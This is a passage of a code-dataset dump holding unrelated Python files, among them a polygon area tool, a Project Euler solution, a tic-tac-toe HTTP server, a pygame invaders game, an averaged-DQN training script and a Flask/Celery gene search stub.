0, the two line segments are parallel\n        if self.is_equal(D, 0):\n            return False\n\n        Ua = A / D\n        Ub = B / D\n\n        # If the intersection point is in the middle of the line segment, the intersection is counted.\n        if Ua > 0 and Ua < 1 and Ub > 0 and Ub < 1:\n            return True\n        elif self.is_equal(Ua, 0):\n            return True\n\n        return False\n\n    def identify_points_in_area(self) -> None:\n        \"\"\"Identifying the measure points of the activity inside the specified area.\n        return: None\n        \"\"\"\n        self.points_in_area = np.array([])\n\n        # Checking whether coordinates are inside the given area.\n        for i in np.arange(1, np.shape(self.positions)[0]):\n            number_of_intersections = 0\n\n            # If the ray intersects with the area even times, the point is not inside area.\n            for border in np.arange(np.shape(self.area_coordinates)[0]):\n                for j in np.arange(-1, np.shape(self.area_coordinates[border])[0] - 1):\n                    if self.do_two_lines_intersect(\n                        self.area_coordinates[border][j],\n                        self.area_coordinates[border][j + 1],\n                        np.array([self.positions[i][0], self.positions[i][1]]),\n                        np.array([190, self.positions[i][1]]),\n                    ):\n                        number_of_intersections += 1\n\n            # If the number of intersections is odd, the point is inside the given area.\n            if number_of_intersections % 2 == 1:\n                self.points_in_area = np.append(self.points_in_area, int(i))\n\n        self.points_in_area = self.points_in_area.astype(\"int32\")\n\n    def extract_data_in_area(self) -> dict:\n        \"\"\"Extracting the data of the identified points in area.\n        return: dict\n        \"\"\"\n        distance = 0.0\n        time = 0.0\n        max_speed = 0.0\n        heartrates = np.array([])\n\n        # Extracting the data from the identified points.\n        for i in self.points_in_area:\n            cur_distance = self.distances[i] - self.distances[i - 1]\n            cur_time = (self.timestamps[i] - self.timestamps[i - 1]).seconds\n            distance += cur_distance\n            time += cur_time\n            if self.heartrates[i]:\n                heartrates = np.append(heartrates, self.heartrates[i])\n            if cur_distance / cur_time > max_speed:\n                max_speed = cur_distance / cur_time\n\n        return {\n            \"distance\": distance,\n            \"time\": time,\n            \"max_speed\": max_speed,\n            \"avg_speed\": distance / time,\n            \"min_heartrate\": np.min(heartrates),\n            \"max_heartrate\": np.max(heartrates),\n            \"avg_heartrate\": np.sum(heartrates) / np.size(heartrates),\n        }\n","sub_path":"sport_activities_features/area_identification.py","file_name":"area_identification.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"251474791","text":"#\tRobert Fraser\n#\tProject Euler #002\n# \thttps://projecteuler.net/problem=2\n\n#\tSum of even Fibonacci numbers\n\nimport math\n\n# Configuration Variables\nmax = 4000000\nprintall = False\n# End Configuration\n\nminustwo = 1\nminusone = 2\ncurrent = 0\n\nevensum = 2\n\n# Print the first two numbers if printing all\nif printall:\n\tprint( minustwo )\n\tprint( minusone )\n\nwhile True:\n\tcurrent = minusone + minustwo\n\tminustwo = minusone\n\tminusone = current\n\t\n\tif current > max:\n\t\tbreak\n\t\n\tif printall:\n\t\tprint( current )\n\t\t\n\tif current % 2 == 0:\n\t\tevensum += current\n\t\n# Print the even sum only if not in print all mode\nif printall == False:\n\tprint( evensum )","sub_path":"python/002a.py","file_name":"002a.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"414753690","text":"# coding:utf-8\nimport time\n\ndef heavy( i ):\n    time.sleep(0.1)\n    print(i)\n\ndef StopWatch( func, count ):\n    start = time.time()\n    func(count)\n    print(time.time() - start)\n\ndef normalFunction(count):\n    for i in range(count):\n        heavy(i)\n\nimport multiprocessing as mp\n\n# processを利用\nfrom multiprocessing import Process\ndef process(count):\n    jobs = []\n    for data in range(count):\n        job = Process(target=heavy, args=(data,))\n        jobs.append(job)\n        job.start()\n    [job.join() for job in jobs]\n\n\n# Poolを利用\nfrom multiprocessing import Pool\ndef mapPool(count):\n    p = Pool(mp.cpu_count())\n    p.map( heavy , list(range(count)))\n    p.close()\n\ncount = 10\nprint('normal')\nStopWatch( normalFunction, count )\nprint('Process')\nStopWatch( process, count )\nprint('Pool(cpu:{0})'.format(mp.cpu_count()))\nStopWatch( mapPool, count )\n","sub_path":"MultiProcessing.py","file_name":"MultiProcessing.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"572203337","text":"import re\n\nwith open('../Downloads/neko.txt.mecab')as f:\n    pattern = re.compile(r'^(.+?)\\t(.+?),(.+?),(.+?),(.+?),(.+?),(.+?),(.+?)$')\n    dic = {}\n    st = ''\n    cnt = 0\n    for s in f:\n        match = pattern.match(s)\n        if match == None:\n            break\n        dic['surface'] = match.group(1)\n        dic['pos'] = match.group(2)\n        if dic['pos'] == '名詞':\n            st += dic['surface']\n            cnt += 1\n        else:\n            if st != '' and cnt > 1:\n                print(st)\n            cnt = 0\n            st = ''\n","sub_path":"35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"233846652","text":"import json\n\nfrom django.http import HttpResponse\n\n\ndef response_message(success=False, data=None, **kwargs):\n    allowed_keys = ('text', 'info', 'warning', 'error')\n    return HttpResponse(\n        json.dumps(\n            {\n                'success': success,\n                'data': data,\n                'message': {\n                    k: v for k, v in kwargs.items() if k in allowed_keys\n                    }\n            }\n        ), content_type='application/json'\n    )\n","sub_path":"util/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"96125094","text":"#!/usr/bin/env python3\n\nimport sys\nimport json\nimport urllib.parse\nfrom socketserver import ThreadingMixIn\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nENCODING = \"utf-8\"\n\nSTART = \"/start\"\nSTATUS = \"/status\"\nPLAY = \"/play\"\nLIST = \"/list\"\n\ncount = 0\ngame = dict()\n\nclass ServerHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        parsed_url = urllib.parse.urlparse(self.path)\n        event = parsed_url.path\n        event_parameters = parsed_url.query\n        event_parameters = urllib.parse.parse_qs(event_parameters)\n\n        if event == START:\n            self.start(event_parameters)\n        elif event == STATUS:\n            self.status(event_parameters)\n        elif event == PLAY:\n            self.play(event_parameters)\n        elif event == LIST:\n            self.list()\n        else:\n            self.send_error(400, \"400 Bad Request error\")\n\n    def start(self, event_parameters):\n        global count\n        global game\n\n        name = event_parameters[\"name\"][0] if \"name\" in event_parameters else \"\"\n        game[count] = {\"name\": name,\n                              \"board\": [[0, 0, 0], [0, 0, 0], [0, 0, 0]],\n                              \"next\": 1,\n                              \"winner\": None}\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        json_dict = {\"id\": count}\n        json_string = str(json.dumps(json_dict))\n        json_string = bytes(json_string, ENCODING)\n        self.wfile.write(json_string)\n        count += 1\n\n    def status(self, event_parameters):\n        global count\n        global game\n\n        try:\n            if \"game\" not in event_parameters:\n                raise KeyError\n            id = int(event_parameters[\"game\"][0])\n            our_game = game[id]\n            if our_game[\"winner\"] is not None:\n                json_dict = {\"board\": our_game[\"board\"],\n                             \"winner\": our_game[\"winner\"]}\n            else:\n                json_dict = {\"board\": our_game[\"board\"],\n                             \"next\": our_game[\"next\"]}\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            json_string = str(json.dumps(json_dict))\n            json_string = bytes(json_string, ENCODING)\n            self.wfile.write(json_string)\n        except ValueError:\n            self.send_error(404, \"id of the game is invalid\")\n        except KeyError:\n            self.send_error(404, \"id of the game not found\")\n\n    def play(self, event_parameters):\n        global count\n        global game\n\n        try:\n            id = int(event_parameters[\"game\"][0])\n            x = int(event_parameters[\"x\"][0])\n            y = int(event_parameters[\"y\"][0])\n            player = int(event_parameters[\"player\"][0])\n            if id not in game:\n                self.send_error(404, \"there is not such game\")\n                return\n\n            json_dict = dict()\n            our_game = game[id]\n            if player != our_game[\"next\"]:\n                json_dict[\"status\"] = \"bad\"\n                json_dict[\"message\"] = \"another player should play\"\n            elif x < 0 or y < 0 or x > 2 or y > 2:\n                json_dict[\"status\"] = \"bad\"\n                json_dict[\"message\"] = \"impossible move: move out of range (3x3)\"\n            elif our_game[\"board\"][y][x] != 0:\n                json_dict[\"status\"] = \"bad\"\n                json_dict[\"message\"] = \"impossible move: square is already taken\"\n            elif our_game[\"winner\"] is not None:\n                json_dict[\"status\"] = \"bad\"\n                json_dict[\"message\"] = \"game is over\"\n            else:\n                our_game[\"board\"][y][x] = player\n\n                if player == 1:\n                    our_game[\"next\"] = 2\n                else:\n                    our_game[\"next\"] = 1\n\n                our_game[\"winner\"] = self.winner(our_game[\"board\"])\n                json_dict[\"status\"] = \"ok\"\n\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            json_string = str(json.dumps(json_dict))\n            json_string = bytes(json_string, ENCODING)\n            self.wfile.write(json_string)\n        except KeyError:\n            self.send_error(400, \"missing parameters\")\n        except ValueError:\n            self.send_error(400, \"numeric parameters expected\")\n\n    def list(self):\n        global game\n\n        my_list = []\n        for key, value in game.items():\n            my_list.append({\"id\": key, \"name\": value[\"name\"]})\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.end_headers()\n        json_string = str(json.dumps(my_list))\n        json_string = bytes(json_string, ENCODING)\n        self.wfile.write(json_string)\n\n    def winner(self, playing_board):\n        if 0 not in playing_board[0] and 0 not in playing_board[1] and 0 not in playing_board[2]:\n            return 0 # draw\n        for player in [1, 2]:\n            # diagonals\n            if (playing_board[0][0] == player and playing_board[1][1] == player and playing_board[2][2] == player) or \\\n                    (playing_board[0][2] == player and playing_board[1][1] == player and playing_board[2][0] == player):\n                return player\n            for rc in range(3):\n                # rows and cols\n                if (playing_board[rc][0] == player and playing_board[rc][1] == player and playing_board[rc][2] == player) or \\\n                        (playing_board[0][rc] == player and playing_board[1][rc] == player and playing_board[2][rc] == player):\n                    return player\n        return None\n\n\nclass ThreadedHTTP(ThreadingMixIn, HTTPServer):\n    pass\n\ndef main():\n    if len(sys.argv) < 2:\n        print(\"argv error: not enough program arguments\")\n        print(\"invocation: ./ttt.py port\")\n        sys.exit()\n\n    host_name = \"127.0.0.1\"\n\n    ttt_server = ThreadedHTTP((host_name, \n                              int(sys.argv[1])), \n                              ServerHandler)\n    ttt_server.serve_forever()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"12-ttt_client/ttt.py","file_name":"ttt.py","file_ext":"py","file_size_in_byte":6189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"638800661","text":"from pygame import *\nimport random\n\nclass Sprite:\n    SIZE = 32\n\n    def __init__(self, xpos, ypos, filename):\n        self.x = xpos\n        self.y = ypos\n        self.bitmap = image.load(filename)\n        self.bitmap.set_colorkey((0,0,0))\n\n    def set_position(self, xpos, ypos):\n        self.x = xpos\n        self.y = ypos\n\n    def render(self):\n        screen.blit(self.bitmap, (self.x, self.y))\n\n\ndef intersect(s1_x, s1_y, s2_x, s2_y, object_size):\n    if (s1_x > s2_x - object_size) and (s1_x < s2_x + object_size) and (s1_y > s2_y - object_size) and (s1_y < s2_y + object_size):\n        return 1\n    else:\n        return 0\n\n\ninit()\n\n### Vars initialisation begin ###\nwindow_width = 640\nwindow_height = 480\nscreen = display.set_mode((window_width,window_height))\nkey.set_repeat(1, 1)\ndisplay.set_caption('PyInvaders')\nbackdrop = image.load('data/backdrop.bmp')\nscore = 0\nmyfont = font.SysFont(\"monospace\", 16)\nrows_of_enemies = 2\nvertical_offset_enemies_rows = 50\ncount_enemies = 10\nhorizontal_distance_enemies = 50\nhero_initial_xpos = 20\nhero_initial_ypos = 400\nmissile_size = 32\nquit = 0\nenemy_rightmost_bound = 590\nenemy_leftmost_bound = 10\nenemyspeed = 3\nkilled_enemy_points = 1\nenemy_vertical_speed = 5\nourmissile_speed = 5\ntime_delay = 5\nhero_horizontal_speed = 5\n### Vars initialisation end ###\n\n\nenemies = []\n\nfor row in range(rows_of_enemies):\n    x = 0\n    for count in range(count_enemies):\n        enemies.append(Sprite(horizontal_distance_enemies * x + horizontal_distance_enemies,\n                              vertical_offset_enemies_rows + (row + 1) * vertical_offset_enemies_rows, 'data/baddie.bmp'))\n        x += 1\n\nhero = Sprite(hero_initial_xpos, hero_initial_ypos, 'data/hero.bmp')\nourmissile = Sprite(0, window_height, 'data/heromissile.bmp')\nenemymissile = Sprite(0, window_height, 'data/baddiemissile.bmp')\n\n\ndef update_score():\n    screen.blit(backdrop, (0, 0))\n    scoretext = myfont.render(\"Score = \" + str(score), 1, (0, 0, 0))\n    screen.blit(scoretext, (5, 10))\n\n\ndef move_enemies_horizontally():\n    global count\n    for count in range(len(enemies)):\n        enemies[count].x += + enemyspeed\n        enemies[count].render()\n\n\ndef check_enemies_inside_bounds():\n    global enemyspeed, count\n    if enemies[len(enemies) - 1].x > enemy_rightmost_bound:\n        enemyspeed = -3\n        for count in range(len(enemies)):\n            enemies[count].y += enemy_vertical_speed\n    if enemies[0].x < enemy_leftmost_bound:\n        enemyspeed = 3\n        for count in range(len(enemies)):\n            enemies[count].y += enemy_vertical_speed\n\n\ndef move_our_missile():\n    if 0 < ourmissile.y < (window_height - 1):\n        ourmissile.render()\n        ourmissile.y -= ourmissile_speed\n\n\ndef throw_enemy_missile():\n    if enemymissile.y >= window_height and len(enemies) > 0:\n        enemymissile.x = enemies[random.randint(0, len(enemies) - 1)].x\n        enemymissile.y = enemies[0].y\n\n\ndef collision_detection():\n    global quit\n    if intersect(hero.x, hero.y, enemymissile.x, enemymissile.y, Sprite.SIZE):\n        quit = 1\n    if intersect(hero.x, hero.y, enemymissile.x, enemymissile.y, missile_size):\n        print(\"Missile collision detected\")\n\n\ndef eliminate_dead_enemy():\n    global count\n    global score\n    for count in range(0, len(enemies)):\n        if intersect(ourmissile.x, ourmissile.y, enemies[count].x, enemies[count].y, Sprite.SIZE):\n            del enemies[count]\n            score += killed_enemy_points\n            break\n\n\ndef handle_keyboard_events():\n    global quit\n    for ourevent in event.get():\n        if ourevent.type == QUIT:\n            quit = 1\n        if ourevent.type == KEYDOWN:\n            if ourevent.key == K_RIGHT and hero.x < 590:\n                hero.x += hero_horizontal_speed\n            if ourevent.key == K_LEFT and hero.x > 10:\n                hero.x -= hero_horizontal_speed\n            if ourevent.key == K_SPACE:\n                ourmissile.x = hero.x\n                ourmissile.y = hero.y\n\n\nwhile quit == 0:\n    update_score()\n    move_enemies_horizontally()\n    check_enemies_inside_bounds()\n    move_our_missile()\n    throw_enemy_missile()\n    collision_detection()\n    eliminate_dead_enemy()\n\n    if len(enemies) == 0:\n        quit = 1\n\n    handle_keyboard_events()\n\n    enemymissile.render()\n    enemymissile.y += 5\n\n    hero.render()\n\n    display.update()\n    time.delay(time_delay)\n\n","sub_path":"pyinvaders.py","file_name":"pyinvaders.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"222492443","text":"expected_output = {\n    \n   \"syslog_logging\":{\n      \"enabled\":{\n         \"counters\":{\n            \"messages_dropped\": 0,\n            \"messages_rate_limited\": 0,\n            \"flushes\": 0,\n            \"overruns\": 0,\n            \"xml\": \"disabled\",\n            \"filtering\": \"disabled\"\n         }\n      }\n   },\n   \"logging\":{\n      \"console\":{\n         \"status\": \"disabled\"\n      },\n      \"monitor\":{\n         \"status\": \"enabled\",\n         \"level\": \"debugging\",\n         \"messages_logged\": 13,\n         \"xml\": \"disabled\",\n         \"filtering\": \"disabled\"\n      },\n      \"buffer\":{\n         \"status\": \"enabled\",\n         \"level\": \"debugging\",\n         \"messages_logged\": 1566,\n         \"xml\": \"disabled\",\n         \"filtering\": \"disabled\"\n      },\n      \"exception\":{\n         \"size_bytes\": 4096\n      },\n      \"count_and_time_stamp_logging_messages\": \"disabled\",\n      \"file\":{\n         \"status\": \"disabled\"\n      },\n      \"persistent\":{\n         \"status\": \"disabled\"\n      },\n      \"trap\":{\n         \"level\": \"informational\",\n         \"message_lines_logged\": 1570,\n         \"logging_source_interface\": {\n            \"Vlan200\": {}\n         },\n         \"logging_to\":{\n            \"192.168.1.3\":{\n               \"protocol\": \"tcp\",\n               \"port\": 1514,\n               \"audit\": \"disabled\",\n               \"link\": \"down\",\n               \"message_lines_logged\": 787,\n               \"message_lines_rate_limited\": 0,\n               \"message_lines_dropped_by_md\": 0,\n               \"xml\": \"disabled\",\n               \"sequence_number\": \"disabled\",\n               \"filtering\": \"disabled\"\n            },\n            \"10.19.33.4\":{\n               \"protocol\": \"udp\",\n               \"port\": 888,\n               \"audit\": \"disabled\",\n               \"link\": \"down\",\n               \"message_lines_logged\": 0,\n               \"message_lines_rate_limited\": 0,\n               \"message_lines_dropped_by_md\": 0,\n               \"xml\": \"disabled\",\n               \"sequence_number\": \"disabled\",\n               \"filtering\": \"disabled\",\n               \"logging_source_interface\":{\n                  \"logging_configuration\": \"Vlan200\"\n               }\n            }\n         }\n      }\n   },\n   \"log_buffer_bytes\": 32000,\n}","sub_path":"src/genie/libs/parser/iosxe/tests/ShowLogging/cli/equal/golden_output_3_expected.py","file_name":"golden_output_3_expected.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"78151223","text":"import time\nimport gym\nimport torch\nimport numpy as np\nimport tensorflow as tf # BUG: should be import before torchvision\nimport torchvision\nimport matplotlib as mpl\n\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport torch.optim as optim\nimport argparse\nfrom gym.wrappers import Monitor\nimport datetime\nimport os\n\nfrom model import Model\nfrom environment import Environment\nfrom utils import Memory, EpsilonScheduler, make_log_dir, save_gif\nimport pdb\n\n##### Arguments #####\nparser = argparse.ArgumentParser(\n    description='An implementation of the 2015 DeepMind DQN Paper')\n\nparser.add_argument('--weights',\n                    type=str,\n                    help='weights file for pretrained weights')\nparser.add_argument('--nosave',\n                    default=False,\n                    action='store_true',\n                    help='do not save a record of the run')\nparser.add_argument('--game',\n                    type=str,\n                    default='breakout')\n\nargs = parser.parse_args()\n\n##### Hyper-Parameters #####\nBATCH_SIZE = 32  # size of minibatch\nMEM_SIZE = int(1e6)  # size of replay memory\nTARGET_UPDATE_EVERY = 10000  # in units of minibatch updates\nGAMMA = 0.99  # discount factor\nUPDATE_FREQ = 4  # perform minibatch update once every UPDATE_FREQ\nINIT_MEMORY_SIZE = 200000  # initial size of memory before minibatch updates begin\n#scheduler = EpsilonScheduler(schedule=[(0, 1),(INIT_MEMORY_SIZE,1),(1e6, 0.1)])\nscheduler = EpsilonScheduler(schedule=[(0, 1), (INIT_MEMORY_SIZE, 1), (2e6, 0.1), (30e6, 0.01)])\n\n\nSTORAGE_DEVICES = [\n    'cuda:0'\n]  # list of devices to use for episode storage (need about 10GB for 1 million memories)\nDEVICE = 'cuda:0'  # list of devices for computation\nEPISODES = int(1e5)  # total training episodes\nNUM_TEST = 20\nTEST_EVERY = 1000  # (episodes)\nPLOT_EVERY = 10  # (episodes)\nSAVE_EVERY = 1000  # (episodes)\nEXPERIMENT_DIR = \"experiments\"\n#GAME = 'breakout'\nGAME = args.game\n\nif not args.nosave:\n    root_dir, weight_dir, video_dir = make_log_dir(EXPERIMENT_DIR, GAME)\n    with open(os.path.join(EXPERIMENT_DIR, \"current.txt\"), \"w\") as f:\n        f.write(os.path.abspath(video_dir))\n\n##### Gym Environment #####\nenv = Environment(game=GAME)\nmem = Memory(MEM_SIZE, storage_devices=STORAGE_DEVICES, target_device=DEVICE)\n\n##### Q Functions #####\nq_func = Model(env.action_space.n).to(DEVICE)\nif args.weights:\n    q_func.load_state_dict(torch.load(args.weights))\n\n#target_q_func = Model(env.action_space.n).to(DEVICE)\n#target_q_func.load_state_dict(q_func.state_dict())\n\n# NEW: Build multiple target Q function\n# Assume the last model in list is for step t-1\nK = 10\ntarget_q_func_list = []\nfor k in range(K):\n    target_q_func = Model(env.action_space.n).to(DEVICE)\n    target_q_func.load_state_dict(q_func.state_dict())\n    target_q_func_list.append(target_q_func)\n\ndef avg_q_func(q_func_list, state):\n    q_value_list = [q_func(state) for q_func in q_func_list]\n    avg_q_value = sum(q_value_list) / len(q_value_list)\n    return avg_q_value\n\n##### Optimizer #####\n#optimizer = optim.RMSprop(q_func.parameters(), lr=2.5e-4, alpha=0.95, momentum=0.95, eps=1e-2)\noptimizer = optim.Adam(\n    q_func.parameters(), lr=0.00001,\n    eps=1.5e-4)  # 0.00001 for breakout, 0.00025 is faster for pong\n\n##### Loss Function #####\nloss_func = nn.SmoothL1Loss()\n\n##### Logger #####\n# for tensorboard\ncurrent_time = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\nsummary_writer = tf.summary.create_file_writer(os.path.join(root_dir,'logs'))\n\nif not args.nosave:\n    env = Monitor(env,\n                  directory=video_dir,\n                  video_callable=lambda count: count % 500 == 0,\n                  force=True)\n\n##### Testing #####\n\ndef test(active_target_count, save=False):\n    print(\"[TESTING]\")\n    total_reward = 0\n    unclipped_reward = 0\n\n    for i in range(NUM_TEST):\n        if i == 0 and save:\n            frames = []\n\n        env.reset(eval=True)  # performs random actions to start\n        state, _, done, _ = env.step(env.action_space.sample())\n        frame = 0\n\n        while not done:\n            if i == 0 and save:\n                frames.append(state[0, 0])\n\n            #q_values = q_func(state.to(DEVICE))\n            # NEW: use average q value\n            if active_target_count > 1:\n                q_values = avg_q_func(target_q_func_list[-active_target_count+1:] + [q_func], state.to(DEVICE))\n            else:\n                q_values = avg_q_func([q_func], state.to(DEVICE))\n\n            if np.random.random(\n            ) > 0.01:  # small epsilon-greedy, sometimes 0.05\n                action = torch.argmax(q_values, dim=1).item()\n            else:\n                action = env.action_space.sample()\n\n            lives = env.ale.lives()\n            next_state, reward, done, info = env.step(action)\n            if env.ale.lives() != lives:  # lost life\n                pass\n\n            unclipped_reward += info['unclipped_reward']\n            total_reward += reward\n            state = next_state\n            frame += 1\n\n        if i == 0 and save:\n            frames.append(state[0, 0])\n            save_gif(\n                frames, \"{}.gif\".format(\n                    os.path.join(video_dir, str(scheduler.step_count()))))\n\n    total_reward /= NUM_TEST\n    unclipped_reward /= NUM_TEST\n\n    with summary_writer.as_default():\n        tf.summary.scalar('Total Test Reward', total_reward, step=scheduler.step_count())\n        tf.summary.scalar('Total Unclipped Test Reward', unclipped_reward, step=scheduler.step_count())\n\n    print(\n        f\"[TESTING] Total Reward: {total_reward}, Unclipped Reward: {unclipped_reward}\"\n    )\n\n    return total_reward\n\n##### Main Process #####\nstart_time = time.time()\nactive_target_count = 1 # NEW: for average\navg_reward = 0\navg_unclipped_reward = 0\navg_q = 0\nnum_parameter_updates = 0\nfor episode in range(EPISODES):\n    avg_loss = 0\n    total_reward = 0\n    unclipped_reward = 0\n    frame = 0\n\n    env.reset()\n    state, _, done, _ = env.step(env.action_space.sample())\n\n    while not done:\n        q_values = q_func(state.to(DEVICE))\n        if np.random.random() > scheduler.epsilon():  # epsilon-random policy\n            action = torch.argmax(q_values, dim=1)\n        else:\n            action = env.action_space.sample()\n\n        avg_q = 0.9 * avg_q + 0.1 * q_values.mean().item(\n        )  # record average q value\n\n        lives = env.ale.lives()  # get lives before action\n        next_state, reward, done, info = env.step(action)\n        reward = info['unclipped_reward'] # NOTE: Use unclipped reward \n\n        # hack to make learning faster (count loss of life as end of episode for memory purposes)\n        mem.store(state[0, 0], action, reward, done\n                  or (env.ale.lives() != lives))\n\n        state = next_state\n        total_reward += reward\n        unclipped_reward += info['unclipped_reward']\n        frame += 1\n        scheduler.step(1)\n\n        if mem.size() < INIT_MEMORY_SIZE:\n            continue\n\n        if scheduler.step_count() % UPDATE_FREQ == 0:\n            states, next_states, actions, rewards, terminals = mem.sample(\n                BATCH_SIZE)\n            mask = (1 - terminals).float()\n            #y = rewards + mask * GAMMA * torch.max(\n            #    target_q_func(next_states), dim=1).values.view(-1, 1).detach()\n            # NEW: use average q function\n            y = rewards + mask * GAMMA * torch.max(\n                avg_q_func(target_q_func_list[-active_target_count:], next_states), dim=1).values.view(-1, 1).detach()\n            x = q_func(states)[range(BATCH_SIZE), actions.squeeze()]\n            loss = loss_func(x, y.squeeze())\n            optimizer.zero_grad()\n            loss.backward()\n\n            for param in q_func.parameters():  # gradient clipping\n                param.grad.data.clamp_(-1, 1)\n\n            optimizer.step()\n            avg_loss += loss.item()\n            num_parameter_updates += 1\n\n        if num_parameter_updates % TARGET_UPDATE_EVERY == 0 and scheduler.step_count() % UPDATE_FREQ == 0:  # reset target to source\n            #target_q_func.load_state_dict(q_func.state_dict())\n            # NEW: Update all target q function with next model\n            for idx, target_q_func in enumerate(target_q_func_list):\n                if idx != len(target_q_func_list) - 1: # if not last target q function\n                    target_q_func.load_state_dict(target_q_func_list[idx+1].state_dict())\n                else:\n                    target_q_func.load_state_dict(q_func.state_dict())\n\n            if active_target_count < K:\n                active_target_count += 1\n\n            print('update target at {}'.format(num_parameter_updates))\n\n\n    avg_loss /= frame\n    avg_reward = 0.9 * avg_reward + 0.1 * total_reward\n    avg_unclipped_reward = 0.9 * avg_unclipped_reward + 0.1 * unclipped_reward\n\n    print(\n        f\"[EPISODE {episode}] Loss: {avg_loss:4f}, \" +\n        f\"Total Reward: {total_reward}, Total Unclipped Reward: {unclipped_reward}, \" +\n        f\"Frames: {frame}, Epsilon: {scheduler.epsilon():4f}, \" +\n        f\"Total Frames: {scheduler.step_count()}, Memory Size: {mem.size()}, \" +\n        f\"Average Q: {avg_q:4f}, \" +\n        f\"Elapsed Time: {int(time.time()-start_time)} sec\"\n    )\n\n    if episode % PLOT_EVERY == 0:\n        with summary_writer.as_default():\n            tf.summary.scalar('Total Train Reward', avg_reward, step=scheduler.step_count())\n            tf.summary.scalar('Total Unclipped Train Reward', avg_unclipped_reward, step=scheduler.step_count())\n            tf.summary.scalar('Epsilon', scheduler.epsilon(), step=scheduler.step_count())\n            tf.summary.scalar('Episode Length', frame, step=scheduler.step_count())\n            tf.summary.scalar('Average Loss', avg_loss, step=scheduler.step_count())\n            tf.summary.scalar('Average Q', avg_q, step=scheduler.step_count())\n            tf.summary.scalar('Active Target Count', active_target_count, step=scheduler.step_count())\n            tf.summary.scalar('Q', q_values.mean().item(), step=scheduler.step_count())\n\n    if episode % TEST_EVERY == 0 and episode != 0:\n        test_reward = test(active_target_count, save=not args.nosave)\n\n    if episode % SAVE_EVERY == 0 and episode != 0 and not args.nosave:\n        path = f\"episode-{episode}.pt\"\n        weight_path = os.path.join(weight_dir, path)\n        info_path = os.path.join(root_dir, \"info.txt\")\n\n        torch.save(q_func.state_dict(), weight_path)\n\n        with open(info_path, \"a+\") as f:\n            f.write(\",\".join([\n                str(x) for x in [\n                    path,\n                    scheduler.step_count(),\n                    scheduler.epsilon(), episode, test_reward\n                ]\n            ]) + \"\\n\")\n","sub_path":"avg_dqn.py","file_name":"avg_dqn.py","file_ext":"py","file_size_in_byte":10755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"490244011","text":"#!/usr/bin/env python2\nimport sqlite3\nimport re\n\nre_str = re.compile(r'^[\\w\\s\\(\\)-]*$')\ndb_query = 'select id, name, ip from bundles where name not like \"Auto%%\" and name not like \"Reserved%%\" and name like \"%s\" %s order by name'\ndb_path = '/opt/modgud/3.0.0/etc/modgud/configuration.sqlite3'\ndb_exclude = 'and name not like \"%%%s%%\" '\n\n# /opt/modgud/3.0.0/var/log/modgudd.sqlite3\n# select bundle_id from bundle_stats where last_connect > last_disconnect;\n\ndef get_list(string=''):\n\tif not re_str.match(string) or len(string) > 30:\n\t\treturn ''\n\tparam='%'\n\texclude=''\n\tfor el in string.split():\n\t\tif el[:1] == '-':\n\t\t\texclude += db_exclude%el[1:]\n\t\telse: \n\t\t\tparam += el\n\t\t\tparam += '%'\n\tresult = []\n\ttry:\n\t\tcon = sqlite3.connect(db_path)\n\t\tcur = con.cursor()\n\t\tcur.execute(db_query%(param, exclude))\n\t\tresult = cur.fetchall()\n\t\tcon.close()\n\texcept:\n\t\tpass\n\treturn result\n","sub_path":"app/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"459458689","text":"import logging\nfrom flask import current_app as app\nfrom flask_restplus import Resource\nfrom gene_query.api.rabbitmqp.business import get_genes\nfrom gene_query.api.rabbitmqp.serializers import search_result, gene_list\nfrom gene_query.api.rabbitmqp.parsers import search_arguments, search_status\nfrom gene_query.api.restplus import api\nfrom gene_query import factory\nfrom celery.result import AsyncResult\nfrom flask import jsonify\n\ncelery = factory.celery\nlog = logging.getLogger(__name__)\n\nns = api.namespace('rabbitmq/gene', description='operation gene search with rabbitmqp')\n\n@ns.route('/')\n@api.response(405, 'Post not found.')\n@api.response(400, 'Validation Error')\n@api.response(200, 'Found gene information')\nclass GeneSearch(Resource):\n    @api.expect(search_arguments,validate=True)\n    def get(self):\n        \"\"\"\n        submit the gene search to rabbitmq message broker\n        * Send a JSON object with the new lookup  in the request body.\n        ```\n        {\n          \"lookup\": \"ter\",\n          \"species\": \"homo_sapiens\"\n        }\n        ```\n        \"\"\"\n\n        args = search_arguments.parse_args()\n        lookup, species = args['lookup'], args['species']\n        if len(lookup) < 3:\n            return None, 400\n\n        result = self.genesearch.delay(lookup, species)\n        #result.wait()\n        return {'status': result.state, 'task_id': result.id }, 200\n\n    @staticmethod\n    @celery.task(bind=True)\n    def genesearch(self, lookup, species):\n        